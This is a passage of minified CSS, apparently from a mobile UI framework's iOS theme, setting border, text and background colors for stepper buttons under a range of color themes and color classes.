.stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#4cd964;border-color:#4cd964;background-color:transparent}.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#4cd964}.ios .color-theme-blue .stepper .stepper-button,.ios .color-theme-blue .stepper .stepper-button-minus,.ios .color-theme-blue .stepper .stepper-button-plus{border-color:#007aff;color:#007aff}.ios .color-theme-blue .stepper .stepper-button-minus.active-state,.ios .color-theme-blue .stepper .stepper-button-plus.active-state,.ios .color-theme-blue .stepper .stepper-button.active-state{background-color:rgba(0,122,255,.15)}.ios .color-theme-blue .stepper .stepper-button-minus:after,.ios .color-theme-blue .stepper .stepper-button-minus:before,.ios .color-theme-blue .stepper .stepper-button-plus:after,.ios .color-theme-blue .stepper .stepper-button-plus:before{background-color:#007aff}.ios .color-theme-blue .stepper .stepper-input-wrap,.ios .color-theme-blue .stepper .stepper-value{border-top-color:#007aff;border-bottom-color:#007aff}.ios .color-theme-blue .stepper .stepper-value{color:#007aff}.ios .color-theme-blue .stepper .stepper-input-wrap input{color:#007aff}.ios .color-theme-blue .stepper.stepper-fill .stepper-button,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus{background-color:#007aff}.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent}.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#007aff}.ios .color-theme-pink .stepper .stepper-button,.ios .color-theme-pink .stepper .stepper-button-minus,.ios .color-theme-pink .stepper .stepper-button-plus{border-color:#ff2d55;color:#ff2d55}.ios .color-theme-pink .stepper .stepper-button-minus.active-state,.ios .color-theme-pink .stepper .stepper-button-plus.active-state,.ios .color-theme-pink .stepper .stepper-button.active-state{background-color:rgba(255,45,85,.15)}.ios .color-theme-pink .stepper .stepper-button-minus:after,.ios .color-theme-pink .stepper .stepper-button-minus:before,.ios .color-theme-pink .stepper .stepper-button-plus:after,.ios .color-theme-pink .stepper .stepper-button-plus:before{background-color:#ff2d55}.ios .color-theme-pink .stepper .stepper-input-wrap,.ios .color-theme-pink .stepper .stepper-value{border-top-color:#ff2d55;border-bottom-color:#ff2d55}.ios .color-theme-pink .stepper .stepper-value{color:#ff2d55}.ios .color-theme-pink .stepper .stepper-input-wrap input{color:#ff2d55}.ios .color-theme-pink .stepper.stepper-fill .stepper-button,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff2d55}.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff2d55;border-color:#ff2d55;background-color:transparent}.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff2d55}.ios .color-theme-yellow .stepper .stepper-button,.ios .color-theme-yellow .stepper .stepper-button-minus,.ios .color-theme-yellow .stepper .stepper-button-plus{border-color:#fc0;color:#fc0}.ios .color-theme-yellow .stepper .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper .stepper-button.active-state{background-color:rgba(255,204,0,.15)}.ios .color-theme-yellow .stepper .stepper-button-minus:after,.ios .color-theme-yellow .stepper .stepper-button-minus:before,.ios .color-theme-yellow .stepper .stepper-button-plus:after,.ios .color-theme-yellow .stepper .stepper-button-plus:before{background-color:#fc0}.ios .color-theme-yellow .stepper .stepper-input-wrap,.ios .color-theme-yellow .stepper .stepper-value{border-top-color:#fc0;border-bottom-color:#fc0}.ios .color-theme-yellow .stepper .stepper-value{color:#fc0}.ios .color-theme-yellow .stepper .stepper-input-wrap input{color:#fc0}.ios .color-theme-yellow .stepper.stepper-fill .stepper-button,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus{background-color:#fc0}.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#fc0;border-color:#fc0;background-color:transparent}.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fc0}.ios .color-theme-orange .stepper .stepper-button,.ios .color-theme-orange .stepper .stepper-button-minus,.ios .color-theme-orange .stepper .stepper-button-plus{border-color:#ff9500;color:#ff9500}.ios .color-theme-orange .stepper .stepper-button-minus.active-state,.ios .color-theme-orange .stepper .stepper-button-plus.active-state,.ios .color-theme-orange .stepper .stepper-button.active-state{background-color:rgba(255,149,0,.15)}.ios .color-theme-orange .stepper .stepper-button-minus:after,.ios .color-theme-orange .stepper .stepper-button-minus:before,.ios .color-theme-orange .stepper .stepper-button-plus:after,.ios .color-theme-orange .stepper .stepper-button-plus:before{background-color:#ff9500}.ios .color-theme-orange .stepper .stepper-input-wrap,.ios .color-theme-orange .stepper .stepper-value{border-top-color:#ff9500;border-bottom-color:#ff9500}.ios .color-theme-orange .stepper .stepper-value{color:#ff9500}.ios .color-theme-orange .stepper .stepper-input-wrap input{color:#ff9500}.ios .color-theme-orange .stepper.stepper-fill .stepper-button,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff9500}.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff9500;border-color:#ff9500;background-color:transparent}.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff9500}.ios .color-theme-gray .stepper .stepper-button,.ios .color-theme-gray .stepper .stepper-button-minus,.ios .color-theme-gray .stepper .stepper-button-plus{border-color:#8e8e93;color:#8e8e93}.ios .color-theme-gray .stepper .stepper-button-minus.active-state,.ios .color-theme-gray .stepper .stepper-button-plus.active-state,.ios .color-theme-gray .stepper .stepper-button.active-state{background-color:rgba(142,142,147,.15)}.ios .color-theme-gray .stepper .stepper-button-minus:after,.ios .color-theme-gray .stepper .stepper-button-minus:before,.ios .color-theme-gray .stepper .stepper-button-plus:after,.ios .color-theme-gray .stepper .stepper-button-plus:before{background-color:#8e8e93}.ios .color-theme-gray .stepper .stepper-input-wrap,.ios .color-theme-gray .stepper .stepper-value{border-top-color:#8e8e93;border-bottom-color:#8e8e93}.ios .color-theme-gray .stepper .stepper-value{color:#8e8e93}.ios .color-theme-gray .stepper .stepper-input-wrap input{color:#8e8e93}.ios .color-theme-gray .stepper.stepper-fill .stepper-button,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus{background-color:#8e8e93}.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#8e8e93;border-color:#8e8e93;background-color:transparent}.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#8e8e93}.ios .color-theme-white .stepper .stepper-button,.ios .color-theme-white .stepper .stepper-button-minus,.ios .color-theme-white .stepper .stepper-button-plus{border-color:#fff;color:#fff}.ios .color-theme-white .stepper .stepper-button-minus.active-state,.ios .color-theme-white .stepper .stepper-button-plus.active-state,.ios .color-theme-white .stepper .stepper-button.active-state{background-color:rgba(255,255,255,.15)}.ios .color-theme-white .stepper .stepper-button-minus:after,.ios .color-theme-white .stepper .stepper-button-minus:before,.ios .color-theme-white .stepper .stepper-button-plus:after,.ios .color-theme-white .stepper .stepper-button-plus:before{background-color:#fff}.ios .color-theme-white .stepper .stepper-input-wrap,.ios .color-theme-white .stepper .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.ios .color-theme-white .stepper .stepper-value{color:#fff}.ios .color-theme-white .stepper .stepper-input-wrap input{color:#fff}.ios .color-theme-white .stepper.stepper-fill .stepper-button,.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus{background-color:#fff}.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#fff;border-color:#fff;background-color:transparent}.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fff}.ios .color-theme-black .stepper .stepper-button,.ios .color-theme-black .stepper .stepper-button-minus,.ios .color-theme-black .stepper .stepper-button-plus{border-color:#000;color:#000}.ios .color-theme-black .stepper .stepper-button-minus.active-state,.ios .color-theme-black .stepper .stepper-button-plus.active-state,.ios .color-theme-black .stepper .stepper-button.active-state{background-color:rgba(0,0,0,.15)}.ios .color-theme-black .stepper .stepper-button-minus:after,.ios .color-theme-black .stepper .stepper-button-minus:before,.ios .color-theme-black .stepper .stepper-button-plus:after,.ios .color-theme-black .stepper .stepper-button-plus:before{background-color:#000}.ios .color-theme-black .stepper .stepper-input-wrap,.ios .color-theme-black .stepper .stepper-value{border-top-color:#000;border-bottom-color:#000}.ios .color-theme-black .stepper .stepper-value{color:#000}.ios .color-theme-black .stepper .stepper-input-wrap input{color:#000}.ios .color-theme-black .stepper.stepper-fill .stepper-button,.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus{background-color:#000}.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#000;border-color:#000;background-color:transparent}.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#000}.ios .stepper.color-red .stepper-button,.ios .stepper.color-red .stepper-button-minus,.ios .stepper.color-red .stepper-button-plus{border-color:#ff3b30;color:#ff3b30}.ios .stepper.color-red .stepper-button-minus.active-state,.ios .stepper.color-red .stepper-button-plus.active-state,.ios .stepper.color-red .stepper-button.active-state{background-color:rgba(255,59,48,.15)}.ios .stepper.color-red .stepper-button-minus:after,.ios .stepper.color-red .stepper-button-minus:before,.ios .stepper.color-red .stepper-button-plus:after,.ios .stepper.color-red .stepper-button-plus:before{background-color:#ff3b30}.ios .stepper.color-red .stepper-input-wrap,.ios .stepper.color-red .stepper-value{border-top-color:#ff3b30;border-bottom-color:#ff3b30}.ios .stepper.color-red .stepper-value{color:#ff3b30}.ios .stepper.color-red .stepper-input-wrap input{color:#ff3b30}.ios .stepper.color-red.stepper-fill .stepper-button,.ios .stepper.color-red.stepper-fill .stepper-button-minus,.ios .stepper.color-red.stepper-fill .stepper-button-plus,.ios .stepper.color-red.stepper-fill-ios .stepper-button,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus{background-color:#ff3b30}.ios .stepper.color-red.stepper-fill .stepper-button-minus:after,.ios .stepper.color-red.stepper-fill .stepper-button-minus:before,.ios .stepper.color-red.stepper-fill .stepper-button-plus:after,.ios .stepper.color-red.stepper-fill .stepper-button-plus:before,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button.active-state{color:#ff3b30;border-color:#ff3b30;background-color:transparent}.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff3b30}.ios .stepper.color-green .stepper-button,.ios .stepper.color-green .stepper-button-minus,.ios .stepper.color-green .stepper-button-plus{border-color:#4cd964;color:#4cd964}.ios .stepper.color-green .stepper-button-minus.active-state,.ios .stepper.color-green .stepper-button-plus.active-state,.ios .stepper.color-green .stepper-button.active-state{background-color:rgba(76,217,100,.15)}.ios .stepper.color-green .stepper-button-minus:after,.ios .stepper.color-green .stepper-button-minus:before,.ios .stepper.color-green .stepper-button-plus:after,.ios .stepper.color-green .stepper-button-plus:before{background-color:#4cd964}.ios .stepper.color-green .stepper-input-wrap,.ios .stepper.color-green .stepper-value{border-top-color:#4cd964;border-bottom-color:#4cd964}.ios .stepper.color-green .stepper-value{color:#4cd964}.ios .stepper.color-green .stepper-input-wrap input{color:#4cd964}.ios .stepper.color-green.stepper-fill .stepper-button,.ios .stepper.color-green.stepper-fill .stepper-button-minus,.ios .stepper.color-green.stepper-fill .stepper-button-plus,.ios .stepper.color-green.stepper-fill-ios .stepper-button,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus{background-color:#4cd964}.ios .stepper.color-green.stepper-fill .stepper-button-minus:after,.ios .stepper.color-green.stepper-fill .stepper-button-minus:before,.ios .stepper.color-green.stepper-fill .stepper-button-plus:after,.ios .stepper.color-green.stepper-fill .stepper-button-plus:before,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button.active-state{color:#4cd964;border-color:#4cd964;background-color:transparent}.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#4cd964}.ios .stepper.color-blue .stepper-button,.ios .stepper.color-blue .stepper-button-minus,.ios .stepper.color-blue .stepper-button-plus{border-color:#007aff;color:#007aff}.ios .stepper.color-blue .stepper-button-minus.active-state,.ios .stepper.color-blue .stepper-button-plus.active-state,.ios .stepper.color-blue .stepper-button.active-state{background-color:rgba(0,122,255,.15)}.ios .stepper.color-blue .stepper-button-minus:after,.ios .stepper.color-blue .stepper-button-minus:before,.ios .stepper.color-blue .stepper-button-plus:after,.ios .stepper.color-blue .stepper-button-plus:before{background-color:#007aff}.ios .stepper.color-blue .stepper-input-wrap,.ios .stepper.color-blue 